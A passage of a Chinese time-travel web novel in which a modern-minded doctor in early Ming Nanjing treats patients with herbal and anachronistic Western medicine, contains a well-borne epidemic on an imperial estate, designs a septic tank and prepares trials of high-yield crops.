马淳看着她明亮的眼睛,心头微动。
……
这日清晨,徐妙云早早起身,吩咐丫鬟备好马车。
临行前,徐达将她叫到书房,递过一个锦盒。
“把这个带给马淳。”
徐妙云打开一看,竟是一本手抄的农书,字迹工整,显然是徐达亲笔所写。
“父亲,这是……”
“我年轻时在各地征战,对农事略有心得。”徐达淡淡道,“或许对他有所帮助。”
徐妙云小心收好,郑重道:“女儿一定带到。”
马车驶出应天府,沿途的田野一片青翠。
徐妙云掀开车帘,望着远处劳作的农人,心中思绪万千。
马淳想做的事,或许真的能成。
……
小青村,医馆后院。
马淳正蹲在地上,仔细检查刚发芽的薯苗。
蒋瓛蹲在一旁,满脸疑惑。“这玩意真能亩产千斤?”
“若种得好,还不止。”马淳头也不抬。
蒋瓛挠挠头。“俺读书少,你可别骗俺。”
马淳失笑。“骗你作甚?等秋收你就知道了。”
正说着,门外传来熟悉的脚步声。
马淳抬头,见徐妙云站在院门口,阳光为她镀上一层金边。
“徐小姐来得正好。”他笑着招手,“看看这个。”
徐妙云走近,见地上摆着几排木箱,里面是新发的嫩芽。
“这是……”
“红薯苗。”马淳语气轻快,“再过半月就能移栽了。”
徐妙云蹲下身,指尖轻轻碰了碰嫩叶。“长得真好。”
她从袖中取出锦盒,递给马淳。“父亲让我带给你的。”
马淳打开一看,顿时惊喜。“徐伯父竟懂农事?”
“父亲年轻时走南闯北,见识广博。”徐妙云柔声道,“他说,若有需要,魏国公府虽不便明着相助,但暗中支持无妨。”
马淳郑重收好农书。“替我谢过徐伯父。”
蒋瓛在一旁听得咋舌。“好家伙,连魏国公都支持你?”
马淳笑而不语。
……
蒋瓛离去后不久,医馆外便传来一阵马车声。
抬头便见一辆华贵马车停在院前。
车帘掀起,一个满头珠翠的妇人被丫鬟搀着走下来,身后跟着个缩头缩脑的中年男子。
“听说这儿有个神医?”妇人声音尖利,眼神在院里扫了一圈,最后落在马淳身上,“就是你?”
马淳放下捣药杵,拱手道:“夫人请坐。”
妇人没动,反而挑剔地打量着简陋的医馆。
“这么破的地方能有什么好大夫?要不是城里那些庸医治不好我的头疼,我才不会大老远跑来。”
她丈夫悄悄扯她袖子,被一把甩开,“拉什么拉!花了那么多钱,连个病都治不好,还有脸拦我?”
徐妙云皱了皱眉,转身去后院取药材。
马淳却面色如常,示意妇人坐下诊脉。
“伸手。”
妇人哼了一声,不情不愿地伸出腕子。
那手腕上套着三四个金镯子,晃得人眼花……
第41章 更年期综合征
马淳诊完脉,眉头微皱。
这妇人脉象弦数,舌红少苔,除了肝火旺盛外并无大碍。
他抬头问道:“夫人平日可有心悸失眠?是否常感烦热汗出?”
妇人撇撇嘴:“夜里睡不安稳,动不动就一身汗。那些庸医开的安神汤半点用没有,越喝越燥。”
“可会突然悲从中来,无故落泪?”
妇人一愣,眼神闪烁:“你、你怎么知道?”
站在一旁的丈夫忍不住插嘴:“大夫说得太准了!她前一刻还好好的,转眼就能摔碗砸碟,有回差点把祠堂的祖宗牌位都给掀了。”
“闭嘴!”妇人转头厉喝,吓得丈夫缩了缩脖子。
马淳朝徐妙云招招手:“徐小姐,你来听听这个症状。”
徐妙云放下捣药钵走过来。马淳轻声道:“此乃妇人杂病,古称脏躁。因天癸将竭,阴阳失调所致。”
其实就是更年期综合征。
更年期的女子脾气阴晴不定,主要是激素紊乱。激素一乱,就容易引起脾气起伏波动大。
不过这妇人的症状比较轻,就用不上激素替代。
妇人听得云里雾里,不耐烦地拍桌子:“什么天啊地的,说人话!”
马淳不慌不忙:“夫人今年贵庚?”
“四十八,怎的?”
“这就对了。”马淳转向徐妙云,“女子七七之年,任脉虚,太冲脉衰少,天癸竭。肾气渐亏,肝失濡养,故见烦躁易怒,乍悲乍喜。”
徐妙云若有所思:“可是《金匮要略》里说的‘妇人脏躁,喜悲伤欲哭’?”
“正是。”马淳赞许地点头,“我开个方子,你学着配。”
那妇人见他们说得头头是道,气焰消了大半,小声嘀咕:“真能治?”
马淳取过纸笔,边写边解释:“甘麦大枣汤主之。浮小麦养心安神,甘草缓急和中,大枣补脾益气。三味药看似简单,却最对证候。”
写完递给徐妙云:“再加些合欢皮、郁金疏肝解郁。”
妇人丈夫凑过来:“大夫,要不要加点人参鹿茸?钱不是问题!”
“胡闹。”马淳板起脸,“贵细药材未必对症。夫人这病重在调养情志,不是靠贵重药材堆出来的。”
那丈夫被说得讪讪退后。
徐妙云熟练地抓药打包,轻声对妇人说:“每日一剂,水煎分两次服。服药期间忌食辛辣,保持心情舒畅。”
妇人接过药包,态度软了下来:“要多久能好?”
“快则半月,慢则月余。”马淳补充道,“夫人平日可多食莲子、百合。若心中郁结,不妨找些消遣,比如养花听曲。”
妇人丈夫连连作揖:“多谢神医!您不知道,自从她犯这毛病,家里鸡飞狗跳的……”
话没说完就被妇人瞪了回去。
马淳送他们到门口,忽然想起什么:“对了,夫人若夜间盗汗严重,可用五倍子研末敷脐。”
妇人难得露出笑意:“小大夫有心了。”
她从腕上褪下个金镯子往柜台上一放,“诊金。”
马淳连忙推辞:“用不了这么多……”
“给你就拿着!”妇人眼一瞪,转身上了马车。
【叮!救治更年期综合征,奖励积分50!】
待马车走远,徐妙云噗嗤笑出声:“这位夫人倒是个爽利性子。”
马淳摇头苦笑:“肝气郁久化火,脾气自然暴躁。其实她本性不坏,只是被病症折磨。”
徐妙云若有所思地看着药柜:“古人说‘医者父母心’,今日才算真正明白。换作别的大夫,怕是早被她的态度吓退了。”
“病人才是最难受的那个。”马淳收拾着案台,“对了,甘麦大枣汤的配伍要点记住了吗?”
徐妙云点头:“浮小麦需炒香,甘草用炙的,大枣要掰开去核。”
两人正说着,蒋瓛风风火火闯进来:“马大夫!曹国公府来人了,说国公爷关节疼得厉害,请你速去!”
马淳立刻拎起药箱:“备马!”
徐妙云抓起斗篷跟上来:“我同去。”
快马加鞭赶到曹国公府,管家早候在门前。
穿过三重院落,到了卧房。
李文忠的卧房里弥漫着浓重的药草味。
马淳推开雕花木窗,让初夏的风吹散满屋浊气。国公府的老管家端着铜盆站在床边,盆里热水已经换了三遍。
“爹,马大夫来了。”李景隆轻声唤道。
床帐内传来一声压抑的闷哼。
李文忠试图撑起身子,却疼得倒抽冷气。
马淳快步上前按住他的肩膀:“国公爷别动。”
掀开锦被,露出的膝盖红肿发亮,像两个熟透的桃子。
李文忠的额头上布满细密汗珠,嘴唇因疼痛而泛白。
马淳从药箱取出一个银色听诊器,在李文忠胸前仔细听诊。徐妙云好奇地看着这个从未见过的器械。
“肺部有轻微湿啰音。”马淳收起听诊器,又拿出血压计,“国公爷,请伸出手臂。”
李文忠疑惑地看着这个奇怪的装置。
马淳熟练地绑好袖带,开始测量。
“血压偏高,150/95。“马淳皱眉,“国公爷近日可有头晕目眩?”
李文忠惊讶道:“确有此事,老夫还以为是年岁大了。”
马淳又从药箱取出一个小型检测仪,在李文忠手指上轻轻一扎,取了一滴血。
“这是何物?”李景隆忍不住问道。
“血糖仪。”马淳盯着显示屏,“国公爷血糖也偏高,看来需要调整饮食。”
徐妙云小声问:“这些器械都是西域来的?”
马淳点头,继续检查。他从药箱取出几盒药片:“这是消炎止痛的西药,见效快。但治标不治本,还需配合中药调理。”
李文忠接过药片,将信将疑地服下。马淳又取出一个注射器:“这是激素针剂,能快速消肿止痛。”
李景隆紧张地拦住:“这针……”
“放心,很安全。”马淳熟练地消毒,在李文忠膝盖周围注射。
不过片刻,李文忠惊讶地活动了下腿:“当真不疼了?”
“暂时止痛罢了。”马淳收起器械,“此病名为历节,乃风寒湿三气杂至所致。国公爷常年征战,积劳成疾。”
老管家端来热气腾腾的水盆。马淳从药囊取出个小布包,抖落出几片乌黑根茎。
“这是川乌,需用蜜煎两个时辰去毒。”他将药材交给徐妙云,“你来配桂枝芍药知母汤。”
徐妙云点头,熟稔地报出方歌:“桂芍知母治痹方,甘草麻黄与生姜。术附防风共九味,温阳散寒除湿良。”
李景隆听得目瞪口呆:“徐小姐竟懂医术?”
第42章 救治曹国公李文忠
“略通皮毛。”徐妙云浅浅一笑,转向马淳,“川乌用多少?”
“三钱足矣。”马淳警告地看她一眼,“此物剧毒,多一分要命。”
李文忠靠在枕上观察二人互动,眼中闪过笑意。
待徐妙云去煎药,他才低声问:“听说你已经开始下播新作物的种子了?”
马淳正在写医嘱,闻言笔尖一顿:“确有此事。”
“陛下已经准了。”李文忠忍着疼挪了挪身子,“老夫在京西的千亩好田,拨给你试种。若真能亩产十石……”
一挪动,肘尖撑空,就要摔倒。
马淳连忙扶住他,触手却觉掌心发烫。掀开中衣一看,国公后背布满暗红斑疹。
“何时起的疹子?”
李文忠茫然摇头:“不晓得,许是这几日疼得厉害,没留意。”
马淳与徐妙云交换个眼神。
这分明是热毒炽盛之象,先前开的温燥方子怕是不妥。
“方子要改。”马淳快速写下新处方,“白虎加桂枝汤。石膏一斤,知母六两……”
徐妙云接过药方细看,按住他手腕:“桂枝会不会加重热毒?”
“无妨。”马淳指着方子解释,“石膏为君,清热力强。少佐桂枝反佐,能引药达肢节。”
李文忠看着他们争论,忽然笑道:“老夫倒成了你们练手的病例。”
马淳正色道:“国公爷说笑。历节病最忌误治,轻则残疾,重则丧命。”
徐妙云忽然想起什么:“马大夫,该给国公爷放血了。”
马淳点头,取出三棱针。
李景隆吓得拦住:“真要见血?”
“必须放。”马淳示意李文忠伸出手,“十宣放血能泄热毒。”
银针飞快刺破指尖,暗红血珠涌出。
李文忠眉头都没皱一下:“当年在漠北中箭,军医拿烧红的刀子剜肉,可比这疼多了。”
十指放过血,马淳又在他耳尖各刺一针。徐妙云递上热毛巾,仔细擦去血迹。
老管家端着药碗进来:“药煎好了。”
马淳接过药碗嗅了嗅:“气味对了。”他亲自试了温度,才递给李文忠。
国公爷仰头饮尽,苦得直皱眉。徐妙云适时递上蜜饯:“含着这个压压苦味。”
药力发作得很快。李文忠额头见汗,脸色渐渐红润。他试着活动膝盖,惊喜道:“能动了!”
马淳却不敢放松:“热毒虽退,病根未除。这病最易反复,需长期调养。”
他留下详细的调养方案:每日晨起热敷,阴雨天用艾灸,忌食牛羊鱼虾。又教了几个舒筋活络的导引术。
“真是想不到,马大夫年纪不大,医术……”李文忠话未说完突然剧烈咳嗽起来。
马淳连忙扶住他,取出听诊器再次检查。
这次他神色更加凝重:“国公爷肺部感染了,需要抗生素。”
他从药箱取出一盒药片:“这是青霉素,每六个时辰服一次。”
历史上李文忠是洪武十七年害了一场大病就没的,这也正常,看现在李文忠身上哪哪都是病就知道。
常年的征战留下的病不少。
他之所以会去世,应该不是像野史讲的那样,所谓被下毒,很可能就是积劳成疾,各种并发症发作了。
就比如现在,一卧床就起疹子,肺还不好,那都是积劳成疾的。
现在是洪武十五年五月,如果有自己在的话,估计能挺过去。
李景隆送他们出府时,满天星斗已亮如碎银。
徐妙云忽然轻呼:“糟了,药箱忘在国公房里。”
马淳拍拍腰间:“听诊器我带着呢。”
“不是。”徐妙云压低声音,“那包川乌还在箱底。”
两人脸色同时变了。川乌若被误食,顷刻就能要命。他们转身就往回跑。
寝室内,李文忠正吩咐老管家:“把马大夫的药箱收好……”
话音未落,马淳已冲了进来,一把抢过药箱。
打开暗格一看,川乌包完好无损,这才长舒口气。
李文忠何等精明,立刻明白原委:“怕老夫误服毒药?”
马淳惭愧地拱手:“是在下疏忽。”
“谨慎些好。”李文忠不以为忤,反而笑道,“你这性子适合行医。景隆若有你一半细心,老夫就放心了。”
回程的马车上,徐妙云忍不住问:“那些西洋器械,当真如此神奇?”
马淳望着窗外夜色:“各有优劣。西药见效快,但治标;中药见效慢,却治本。两者结合,方能事半功倍。”
“那个会发光的盒子……”
“血糖仪。”马淳解释道,“能测出血中糖分高低。国公爷饮食需调整,少油少盐。”
徐妙云若有所思:“难怪你说要忌口。”
马车经过秦淮河,画舫上的歌声随风飘来。
马淳忽然说:“明日我要去趟京西,看看田地。”
“我陪你去。”徐妙云不假思索道,“那边勋贵家的地都是皇庄在管,父亲说皇庄的管事不好相与,有我在他们不敢刁难。”
月光透过车帘,在她脸上投下斑驳光影。
马淳看着她坚定的侧脸,心头微暖。
“好。”他轻声应道。
……
翌日清晨,马淳和徐妙云策马来到京西皇庄。
初夏的阳光洒在连绵的田垄上,远处农人三三两两在劳作,却显得有气无力。
两人刚下马,一个穿着绸缎马褂的管事就晃了过来,斜眼打量着他们的粗布衣衫,“哪来的?这儿是皇庄重地,闲杂人等不得入内。”
徐妙云上前一步:“我们是曹国公府的人,来看田的。”
管事嗤笑一声:“曹国公府的人我哪个不认识?就你们这寒酸样也敢冒充?赶紧滚,别逼我叫人。”
马淳按住徐妙云的手,从怀中取出李文忠的亲笔信。
管事接过一看,脸色顿时变了,腰杆立刻弯了几分:“原来是马大夫,小的有眼不识泰山……”
马淳摆摆手:“带路吧。”
管事点头哈腰地在前面引路,穿过几片麦田后,马淳突然停下脚步。
田埂边搭着几个草棚,十几个农人蜷缩在里面,不时传来咳嗽声。
几个妇人正架着药罐熬药,浓重的药味随风飘来。
“这是怎么回事?”马淳皱眉问道。
……
第43章 皇庄有传染病!
管事擦了擦汗:“前几日下雨,好些人着了风寒。庄里有大夫看着,不碍事。”
马淳走近草棚,只见病人个个面色潮红,咳嗽不断。
他蹲下身摸了摸一个老农的额头,滚烫如火。
“这不是普通风寒。”马淳沉声道,“症状一致,怕是时疫。”
管事慌了:“可不能乱说!时疫要报官的!”
马淳没理他,转头对徐妙云道:“去把我们的药箱拿来。”
这时一个穿着长衫的中年男子匆匆赶来,身后跟着两个药童。“谁在这儿捣乱?”
管事如见救星:“刘大夫,这位是……”
刘大夫打断他:“我不管是谁,病人自有我照料,闲杂人等少插手!”
马淳直视着他:“你给他们用的什么药?”
“麻黄汤,专治风寒。”刘大夫昂着头,“我行医二十年,还用你教?”
马淳走到药罐前,掀开盖子闻了闻:“麻黄桂枝发汗太过,病人本就津液亏损,再发汗只会加重病情。你看他们唇干舌燥,咳嗽带痰,这是风热犯肺,当用银翘散加减。”
刘大夫脸色涨红:“胡说八道!”
马淳不慌不忙,指着最近的一个病人:“这位老伯发热无汗,头痛身痛,是不是?”
刘大夫一愣:“是又怎样?”
“你再看他咽喉红肿,舌苔薄黄,脉象浮数。这是典型的风热表证,当辛凉解表,你却用辛温发汗,岂不是火上浇油?”
围观的农人们窃窃私语起来。
刘大夫额头冒汗,强撑着道:“你、你懂什么!”
马淳从药箱取出两个棉布口罩,一个递给徐妙云:“戴上。”
徐妙云会意,立刻系好。
马淳自己也戴上了口罩,这才走近病人。
“诸位,这病会传染。家中若有老幼,尽量隔开。我现在给大家诊治,不收钱。”
农人们将信将疑,但见刘大夫哑口无言,渐渐有人伸出手腕。
马淳诊完一个,就对徐妙云口述方子:“金银花三钱,连翘三钱,薄荷一钱……”
刘大夫站在一旁,脸色青一阵白一阵。
管事急得直搓手:“这可怎么是好,耽误了农时……”
马淳头也不抬:“若是强撑劳作,倒下一大片更耽误事。你现在该做的是准备干净的水和布巾,让病人多休息。”
正说着,远处传来一阵喧哗。
一队官兵簇拥着一个绯袍官员疾步而来。
管事腿一软跪在地上:“是、是户部侍郎大人……”
侍郎阴沉着脸走到近前:“本官奉命巡视皇庄,听说这儿闹时疫?”
刘大夫扑通跪下:“大人明鉴,只是普通风寒,下官已经……”
马淳打断他:“大人,确实是时疫。若不及时控制,恐会蔓延。”
侍郎盯着马淳:“你是何人?”
徐妙云上前一步:“家父魏国公徐达,这位是神医马淳。”
侍郎神色立刻缓和:“原来是徐小姐。”他转向马淳,“马神医有何高见?”
马淳拱手道:“当务之急是隔离病患,统一用药。我这里有预防的方子,可煎成大锅汤让所有人服用。”
侍郎点头:“准了。”他对身后的师爷道,“立刻调拨药材,按马神医说的办。”
刘大夫瘫坐在地,面如死灰。
马淳对侍郎道:“这位刘大夫虽然误诊,但对皇庄熟悉。不如让他协助熬药分发,将功折罪。”
侍郎瞥了刘大夫一眼:“还不谢过马神医?”
刘大夫连连磕头,再不敢有半点不服。
接下来的半天里,马淳和徐妙云忙着诊治病人。
皇庄临时腾出几间仓库作为病坊,按症状轻重分开安置。
马淳亲自示范如何熬药,徐妙云则带着丫鬟们缝制简易口罩。
傍晚时分,侍郎请他们到庄里的正堂用饭。
席间侍郎忧心忡忡:“马神医,这时疫若传到城里……”
马淳放下筷子:“最好是上报上去,多派大夫盯守,皇庄近日许进不许出。关键是控制源头,我怀疑是饮用了不洁的水。”
侍郎恍然大悟:“前几日暴雨,他们汇报确实有些井被淹了。”
马淳点头:“明日带我去看看那些井,现在还需侍郎派人烧些苍术熏染各处。”
侍郎一一记下。
用过饭,侍郎亲自送他们到客房休息。
徐妙云站在廊下,望着渐渐暗下来的天色。
“累了吧?”马淳走到她身边。
徐妙云摇摇头:“只是没想到会这样。那些农人太苦了,病了都不敢歇。”
马淳轻叹:“皇庄赋税重,他们也是没办法。”
夜风拂过,带着泥土和药草的气息。
徐妙云忽然问:“若是没有你,这次会死多少人?”
马淳沉默片刻:“不好说。时疫最怕误治,拖久了会死一大片。”
徐妙云转头看他,月光下眼神格外明亮:“你救了很多人家。”
马淳笑了笑:“医者本分。”
远处传来更夫的梆子声。
徐妙云轻声道:“明日还要忙,早些歇息吧。”
马淳点头,目送她走进房间,他才进屋。
……
翌日清晨,徐妙云早早醒来,梳洗完毕后来到院中。
马淳正在井边洗漱,手里拿着一支小巧的刷子,蘸着白色膏状物在牙齿上来回刷动,嘴角溢出些许白色泡沫。
徐妙云好奇地走近:“马大夫,你这是?”
马淳漱了漱口,抹去嘴角的泡沫:“这叫牙刷和牙膏,西域人用来清洁牙齿的。”
徐妙云眼睛一亮:“看起来比柳枝好用多了。”
马淳笑了笑,转身从行囊中取出一支崭新的牙刷和一小盒牙膏:“给你也试试。”
徐妙云接过牙刷端详。这支牙刷柄是竹子做的,头部嵌着一簇整齐的猪鬃毛。她又打开牙膏盒子,一股清凉的薄荷味扑面而来。
“好香!”她忍不住凑近闻了闻,“这是什么味道?”
“薄荷,能清新口气。”马淳示范道,“把牙膏挤在刷毛上,沾点水,然后这样上下刷动。”
徐妙云学着马淳的样子,小心翼翼地将牙膏挤在牙刷上。第一次使用,她挤得有些多,牙膏差点掉下来。马淳眼疾手快,帮她托住牙刷。
“少挤一点就行。”
徐妙云点点头,将牙刷放入口中。
清凉的薄荷味瞬间充满口腔,她惊讶地睁大眼睛。
“感觉如何?”马淳问道。
徐妙云吐出泡沫,笑道:“凉丝丝的,嘴里好清爽!”
两人正说着,侍郎已经带着几个差役来到院外。见徐妙云满嘴泡沫的样子,侍郎愣了一下,随即识趣地别过脸去……
第44章 三格化肥池
马淳招呼道:“大人稍等,我们马上就好。”
徐妙云连忙漱口,擦干净嘴角。她小声对马淳说:“这牙膏真好用,比盐和柳枝舒服多了。”
“早晚各用一次,牙齿会更健康。”马淳收起洗漱用具,“走吧,侍郎大人等着呢。”
早饭是庄里准备的稀粥和咸菜。马淳特意嘱咐厨房将水煮沸后再用,又往井水里撒了些明矾消毒。
用过早饭,侍郎带着他们往秦淮河方向走去。沿途的田地有些荒芜,几个农人无精打采地劳作着。
“就是前面那口井。”侍郎指着不远处一口用青石砌成的老井,“庄里大半人家都吃这口井的水。”
马淳走近查看,发现井台周围还有些未干的泥泞。他蹲下身,用手指蘸了点泥土闻了闻,眉头立刻皱了起来。
“怎么了?”徐妙云问道。
马淳指着不远处的一个茅坑:“你们看,那茅坑地势比水井高。前几日大雨,粪水肯定被冲进了井里。”
侍郎脸色一变:“这……这可如何是好?”
马淳假装从药箱中取出一个小瓷瓶,其实是花了100积分兑换了消毒片,“这是消毒药片,投入井中能杀灭秽毒。但最要紧的是重修井台,把茅坑迁远些。”
侍郎连连点头:“本官这就安排。”
马淳又取出几包药粉:“把这些分给庄户,让他们把水煮开再喝。病从口入,一定要注意饮食卫生。”
徐妙云帮着分发药粉,一边向农人们解释:“水一定要烧开,放凉了再喝。生水容易生病。”
一个老农感激地接过药粉:“多谢小姐,多谢大夫。我们乡下人不懂这些,以前都是直接喝井水。”
马淳叮嘱道:“老人家,最近不要吃生冷食物,瓜果也要洗净去皮。”
正说着,一个差役急匆匆跑来:“大人!不好了!河边又有几个人发热了!”
侍郎看向马淳:“马神医,您看……”
马淳提起药箱:“带路。”
一行人来到河边一处窝棚,里面躺着三个面色潮红的男子。马淳诊脉后确认是同样的时疫症状。
“他们是不是也喝了那口井的水?”马淳问道。
一个妇人哭着点头:“前日他们去修堤,回来就喝了井水……”
马淳取出银针,给三人放了血,又让徐妙云配了一剂银翘散。
“这病会传染,家里其他人最好也喝些预防的药汤。”马淳对妇人说,“你去煮些绿豆汤,放凉了给他们喝,能清热解毒。”
徐妙云帮着熬药,一边教妇人如何照料病人:“发热时用温水擦身,不要捂太厚。若是咳嗽厉害,可以煮些梨水。”
妇人连连道谢:“小姐心肠真好。”
忙完这些,日头已经偏西。侍郎坚持要留他们用晚饭,马淳婉拒道:“我们还要去看看其他水井,防止再有类似情况。”
离开河边,徐妙云小声问马淳:“那些药片也是西域来的吗?”
马淳点头:“嗯,能杀灭水中秽物。可惜数量有限,不能给所有人用。”
徐妙云若有所思:“若是能做出类似的药就好了。”
“以后有机会我教你。”马淳看了看天色,“我们再去看看北边的几口井。”
两人沿着田埂向北走去,夕阳将他们的影子拉得很长。徐妙云忽然说道:“马淳,谢谢你今天教我刷牙。那个薄荷牙膏我很喜欢。”
马淳笑了笑:“你喜欢就好。口腔清洁很重要,能预防很多疾病。”
徐妙云摸了摸怀里的牙刷,嘴角微微上扬。这是她收到的又一件新奇礼物,虽然简单,却让她心里暖暖的。
远处传来归鸟的鸣叫,夜幕即将降临。两人加快脚步,朝着下一口水井走去。
夕阳西下,马淳和徐妙云站在田埂上,望着不远处被粪水污染的井台。马淳眉头紧锁,手指在药箱上轻轻敲打。
“问题出在茅坑上。”马淳指着河边的几处茅厕,“这些茅坑离水源太近,一旦涨水,粪水就会倒灌进井里。”
侍郎擦了擦额头的汗:“往年都是这么建的,方便取肥。”
马淳摇头:“方便是方便,可病从口入。粪水污染水源,轻则腹泻,重则引发时疫。这次的风热时疫,八成就是这么来的。”
徐妙云蹲下身,用树枝在地上画了个简易图形:“马大夫,你们村的三格化肥池能在这里用吗?”
马淳眼睛一亮:“对,三格化粪池。”
他接过树枝,在徐妙云的图形上补充起来,“分三个池子,粪水先流入第一格沉淀,再慢慢流到第二格发酵,最后到第三格就成了清液。”
侍郎凑过来看:“这法子管用?”
“管用。”马淳肯定道,“第一格沉淀大块粪渣,第二格杀灭虫卵病菌,第三格的清液可以直接浇地,肥力不减还更安全。”
徐妙云补充道:“而且清掏方便,固态物都集中在第一格,不会到处流。”
侍郎有些犹豫:“可这工程不小……”
马淳收起树枝:“工程再大也比闹时疫强。这次运气好,只是风热时疫。万一哪天闹起霍乱,整个皇庄都得遭殃。”
侍郎脸色一变:“马神医说得是。我这就上报工部,尽快改建。”
马淳从药箱取出纸笔,迅速画了张详细图纸:“这是三格化粪池的构造,池壁要用砖石砌牢,做好防渗。每个池子之间用管道连接,倾斜度要把握好。”
侍郎接过图纸,如获至宝:“有这图就好办了。”
用了三天处理好皇庄的时疫后,马淳和徐妙云终于抽出时间去查看曹国公拨给他们的千亩试验田。
初夏的阳光洒在连片的水田上,波光粼粼的水面映着蓝天白云,远处农夫们正弯腰插秧,一派繁忙景象。
“这田确实不错。”马淳蹲下身,抓起一把泥土在指间捻了捻,“土质松软肥沃,水源充足,很适合试种新作物。”
徐妙云提着裙角走在田埂上,小心避开泥泞处:“曹国公倒是大方,这千亩田都是上等水田。”
两人正说着,一个穿着粗布长衫的年轻书生匆匆走来,身后跟着几个农人。
那书生约莫二十五六岁,面容清瘦,一双眼睛却格外有神。
“可是马神医?”书生拱手行礼,“在下沈禾,受曹国公委派管理这片庄子。听闻神医要来,特地在此恭候。”
第45章 不爱圣贤爱农书!
马淳起身还礼:“沈先生客气了。我们来看看田地,准备试种些新作物。”
沈禾眼睛一亮:“听国公爷吩咐,说您要种植亩产十石的西域作物?”
马淳点头:“正是。红薯、土豆和玉米,都是耐旱高产的品种。”
沈禾连忙引路:“神医请随我来。这片田我已命人整饬妥当,随时可以下种。”
三人沿着田埂前行,沈禾如数家珍般介绍着田地的状况。
马淳发现他对土壤、水源、肥力的了解极为详尽,甚至能说出每块田的酸碱度差异。
当然沈禾不知道现代词汇,但意思却一样。
这样马淳很诧异。
“沈先生对农事如此精通,想必读过不少农书?”马淳问道。
沈禾略显腼腆地笑了笑:“说来惭愧,在下虽读过几年圣贤书,却对经史子集兴趣寥寥,唯独痴迷《齐民要术》《农桑辑要》之类的农书。”
徐妙云好奇道:“以沈先生的才学,为何不去考取功名,反而甘愿在这农庄操持?”
沈禾神色坦然:“功名利禄非我所求。看着庄稼一天天长高,粮食堆满粮仓,那种满足感远胜于金榜题名。”
马淳闻言,对这位年轻书生多了几分敬意。
他指着不远处的一片旱地:“那块地我想试种红薯。红薯耐旱,适合沙质土壤。”
沈禾立刻接话:“神医慧眼。那块地确实沙多,种稻谷收成不佳,但种豆类却长得极好。红薯若真如传闻中那般耐旱,倒是个好选择。”
三人边走边聊,来到一处新建的茅厕前。
马淳眼前一亮:“这是按我说的三格化粪池建的?”
沈禾兴奋地点头:“正是!神医那图纸画得极清楚,我带着庄里的泥瓦匠两天就建好了。第一格已经沉淀了不少粪渣,第二格正在发酵。”
他说着掀开第二格的石板,一股热气扑面而来。
马淳探头看了看,满意地点头:“发酵得很好,温度够高,能杀死大部分虫卵病菌。”
沈禾眼中闪着求知的光芒:“神医说的‘病菌’究竟是何物?为何能藏在粪肥里害人害庄稼?”
马淳沉吟片刻,尽量用他们能理解的方式解释:“就像酒曲里有肉眼看不见的小生命,能让粮食变成酒。粪肥里也有无数这样的小生命,有些能让庄稼生病。”
沈禾恍然大悟:“难怪我试过那么多方法,还是搞不清虫害从何而来。原来病根在肥里!”
徐妙云在一旁听得入神:“这么说,三格化粪池不仅能防病,还能让肥力更好?”
马淳点头:“正是。经过发酵,肥力更温和持久,庄稼吸收得更好。”
沈禾如获至宝,立刻从怀中掏出一个小本子记下。
马淳瞥见那本子上密密麻麻记满了农事心得,字迹工整清晰。
“沈先生若有兴趣,我可以多讲些西域的农耕技术。”马淳说道。
沈禾激动得连连作揖:“求之不得!神医肯指点,是沈某的福气。”
三人找了处树荫坐下。
马淳从药箱中取出几包种子,一一摊开在石板上。
“这是红薯藤,要斜插在垄上,保持间距。土豆要切块,每块留两个芽眼……”他详细讲解着每种作物的种植要点。
沈禾全神贯注地听着,不时提出问题。
马淳发现他的问题都切中要害,显然有丰富的实践经验。
“沈先生种过多少种作物?”马淳忍不住问道。
沈禾想了想:“常见的稻麦豆类自不必说,我还试种过西域传来的胡麻、苜蓿,南方的甘蔗、棉花。可惜有些水土不服,长得不好。”
马淳眼前一亮:“若有机会,我想请沈先生帮我管理这片试验田。新作物需要细心照料,一般人恐怕难以胜任。”
沈禾惊喜交加:“神医信得过,沈某定当竭尽全力!”
徐妙云笑道:“有沈先生这样的行家帮忙,新作物一定能试种成功。”
正说着,几个农人扛着锄头走来,见到马淳立刻放下工具行礼。
“多谢神医救命之恩!”为首的汉子声音洪亮,“要不是您,我们庄子不知要死多少人。”
马淳连忙扶起他们:“举手之劳,不必如此。”
农人们七嘴八舌地表达着感激之情,纷纷表示一定会好好照料神医的新作物。
沈禾趁机宣布:“从今日起,这片田专门试种神医带来的高产作物。大家都要用心,这可是利国利民的大事!”
农人们轰然应诺,干劲十足。
夕阳西下,马淳和徐妙云告别沈禾,踏上归途。晚风拂过稻田,掀起层层绿浪。
“这位沈先生是个人才。”马淳感叹道,“既有学问,又肯脚踏实地,实在难得。”
徐妙云点头:“我看他对农事的热忱不亚于你对医术。有他帮忙,新作物一定能试种成功。”
马淳望着远处炊烟袅袅的村庄,心中充满希望。若能推广这些高产作物,不知能救活多少饥民。
“明日我再来,教沈禾更详细的种植技术。”马淳说道。
徐妙云侧头看他:“我陪你一起来。父亲说过,农事关乎国本,魏国公府虽不便明着支持,但我个人参与无妨。”
马淳心中一暖。
有徐妙云相伴,这条艰难的路似乎平坦了许多。
暮色渐浓,两人的身影渐渐融入苍茫暮色中。
田埂边的蛙鸣此起彼伏,仿佛在为他们奏响归途的乐章。
【叮!救治流行疫病,奖励积分500!】
天色渐暗,马淳和徐妙云告别侍郎,骑马返回城中。
晚风拂面,带着田野的清香。
徐妙云忽然问道:“这三格化粪池,真的能杀灭虫卵?”
马淳点头:“厌氧发酵能杀死大部分病菌。西域人用了几十年,效果很好。”
“若是推广开来,能少死不少人吧?”
“至少能减少一半的肠胃病。”马淳望着远处的村庄,“乡下人不懂卫生,喝生水吃冷食,最容易闹病。”
徐妙云若有所思:“该写个告示,教百姓如何预防。”
马淳笑了:“正有此意。回头我写个《卫生要诀》,你帮我抄录分发。”
两人回到医馆时已是掌灯时分。
蒋瓛蹲在门口啃馒头,见他们回来连忙起身。
“马大夫,曹国公府送来帖子,说国公爷好多了,请您明日过府复诊。”
马淳接过帖子:“知道了。”
蒋瓛又掏出一封信:“还有魏国公府的,说是给徐小姐的。”
徐妙云拆开信,匆匆扫了一眼:“父亲让我明日回府一趟。”
马淳点头:“那明日我自己去曹国公府。”
……
第46章 从今日起你就是我们府上的人了
夜深了,徐妙云回房休息。
马淳独自坐在灯下,开始撰写《卫生要诀》。
“一、饮水须煮沸;二、饭前便后洗手;三、茅坑远离水源……”
写着写着,他忽然停下笔,望向窗外的月色。
洪武年间的百姓太苦了,一场小病就能要了命。若能推广这些简单的卫生知识,不知能救多少人。
次日清晨,马淳带着药箱来到曹国公府。李文忠的气色好了许多,正在花园里散步。
“马神医!”李文忠热情地招呼,“多亏你的药,老夫这腿轻快多了。”
马淳诊脉后笑道:“国公爷恢复得不错,再服三剂药就能痊愈。”
